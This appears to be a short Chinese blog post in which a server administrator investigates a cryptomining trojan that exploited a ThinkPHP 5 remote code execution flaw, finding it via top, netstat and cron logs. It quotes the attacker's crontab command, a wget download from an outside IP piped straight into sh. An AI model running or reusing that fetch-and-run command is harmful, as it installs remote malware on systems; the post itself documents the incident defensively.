共计 527 个字符，预计需要花费 2 分钟才能阅读完成。
昨天发现 一台服务器突然慢了 top 显示 几个进程 100% 以上的 cpu 使用
执行命令为 :
/tmp/php -s /tmp/p2.conf
基本可以确定是被挂马了
下一步确定来源
last 没有登陆记录
先干掉这几个进程，但是几分钟之后又出现了
先看看这个木马想干什么吧
netstat 看到 这个木马开启了一个端口和国外的某个 ip 建立了连接
但是 tcpdump 了一小会儿 没有发现任何数据传递
这他是想干啥？
继续查看日志吧
在 cron 日志中发现了 www 用户 有一个 crontab 定时操作 基本就是这个问题了
wget -q -O – http://83.220.169.247/cr3.sh | sh > /dev/null 2>&1
顺着下载了几个问题，看了看 应该是个挖矿的木马程序
服务器上的 www 用户 是安装 lnmp 创建的，看了来源很可能就是 web 漏洞了。
再看 /tmp 下的 php 的权限 就是 www 的
查看 lnmp 下几个站的日志 发现是利用 thinkphp 5 最近爆出的远程代码执行漏洞
漏洞细节：https://nosec.org/home/detail…
修复一下问题解决
但是 这个站点是测试站点 端口监听的是 8083，难道现在黑客能开始嗅探非常规端口了？
来源：https://www.simapple.com/425….
正文完
